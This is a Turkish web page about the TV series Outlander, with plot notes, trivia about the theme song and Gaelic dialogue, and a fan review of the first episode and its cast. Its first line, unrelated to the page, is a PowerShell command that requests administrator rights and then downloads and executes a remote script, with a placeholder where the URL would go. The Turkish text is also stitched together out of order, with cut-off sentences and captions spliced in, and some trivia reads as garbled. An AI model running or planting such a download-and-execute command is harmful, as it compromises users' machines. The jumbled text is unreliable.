powershell -Command "Start-Process powershell -ArgumentList '-Command Invoke-Expression (New-Object Net.WebClient).DownloadString(''{PATH}'')' -Verb RunAs"
Plot
II
Dünya Savaşı hemşiresi Claire Beauchamp Randall, gizemli bir şekilde 1743’te İskoçya’ya geri gönderilir. Orada yakışıklı bir Highland savaşçısıyla tanışır ve destansı bir isyana karışır. Ronald D. Moore’a (dizinin geliştiricisi) göre, ekibi Galce kelimeleri İngilizceye çevirmek yerine tutmaya karar vermiştir. Bu, Claire’in Galceyi anlayamadığını göstererek birinci şahıs anlatımını korumuştur. Fikir, aktör ve şarkıcı Gustavo Goulart’ın başrol oynadığı yabancı bir alternatif film olan Skin Deep’te (1998) benzer bir şey gördüğünü söyleyen yapımcı David Brown tarafından önerilmiştir. Bazı bölümlerde karakterler “OK” der.
yüzyılda kullanılan bir Amerikan ifadesi
; Sadece 19. Açılış tema şarkısı, hikayede olanları yansıtmak için sezondan sezona değişir. 2. sezonun ilk yarısında (Fransa’da geçer), bazı sözler Fransızcadır. 2. sezonun ikinci yarısında (çoğunlukla savaşa hazırlanmakla ilgilidir), açılış temasına militarist bir davul sesi de eklenir. 3.
Outlander: An Epic Adaptation (2015) filminde yer alıyor
sezonda, sezonun çoğu Batı Hint Adaları’nda geçtiği için kabile davulları ekleniyor. 4. sezonda, bluegrass kemanı ve banjo ekleniyor ve şarkı sözlerinin bir kısmı, sezonun çoğu Amerika’da geçtiği için güney aksanıyla söyleniyor. Skye Boat Song (adı geçmiyor) Sir Harold Boulton’ın sözleriyle geleneksel İskoç havası Robert Louis Stevenson’ın yeni sözleri. Yakın zamanda Outlander kitap serisini okudum (aslında sesli kitaplarını dinledim), şu ana kadar 5 tane çıktı, bu yüzden Starz TV dizisinin çıkacağını görünce onu da izlemek zorunda kaldım. Outlander kitaplarını sevdiğimi söylemeliyim, ama kitapları ekrana aktarma konusunda fanatik değilim, çok farklı ortamlar, bu yüzden farklı bir görünüme ve hisse sahip olabilirler ve bu benim için sorun değil. Bu durumda, hayal kırıklığına uğrayan insanların hayal kırıklığına uğrayacağını sanmıyorum çünkü senaristler kitabın 1.
Jamie, Claire, Frank ve Dugan için seçtikleri oyuncuları çok sevdim
Bölümünü ekrana aktarmada mükemmel bir iş çıkardılar (sadece 1. Bölümü izledim ama bağlandım bu yüzden geri kalanının da tadını çıkaracağımdan eminim). Sam Heughan, Jamie Fraser rolü için mükemmel (Jamie’den bekleyebileceğiniz kadar yakışıklı ve sert). Caitriona Balfe de Claire için iyi bir seçim gibi görünüyordu (güzel ama rol için yeterince güçlü). Tobias Menzies’in Frank/Jack Randall’ı canlandırmasının da benim Frank/Jack fikrime uyduğunu düşünüyorum ve her iki rolü de üstlenebileceğini düşünüyorum; biri kötü Jack, diğeri sevgi dolu ama sıkıcı Frank (Jamie’ye kıyasla). Ve Graham McTavish (Dougal) gibi İskoç oyuncular eski İskoçya’yı benim için ekrana taşıyor. Yapımcıların ilk bölümden itibaren Outlander kitaplarının daha cinsel yönlerini dahil etmekten çekinmeyeceklerini düşünüyorum, çünkü Claire ve Jamie arasındaki aşkı ilişkilerinin itici gücü haline getiren ve artık birlikte olmasalar bile yüzyıllar boyunca sürmesini sağlayan bu erotik öğeye sahipler.
Hayranlar sadece izlemek için kaydolacak
Birbirlerine olan aşk/tutku, onları birbirlerinin kalplerinde canlı tutan şeydir ve şimdiye kadar, yönetmenlerin takdirine göre, bunu eklemekten çekinmediler. Claire Jamie aşk sahnelerini dört gözle bekliyorum, umarım… İskoç tarihi ve manzarasının da tadını çıkaracağım ve bunu şimdiye kadar TV dizisine nasıl dahil ettiklerini çok sevdim. Bu benim için çok ilginç olacak, özellikle de atalarım İskoç olduğu için. Starz’ın bu diziyle çok para kazanacağını biliyorum. Dünya çapında bu kitapları seven milyonlarca insan olmalı ve eminim ki birçoğu benim gibi bunu izlemek için kablolu kanala abone olacaktır. Starz’ın bunu ekrana taşımakta bu kadar iyi bir iş çıkarmasına çok sevindim.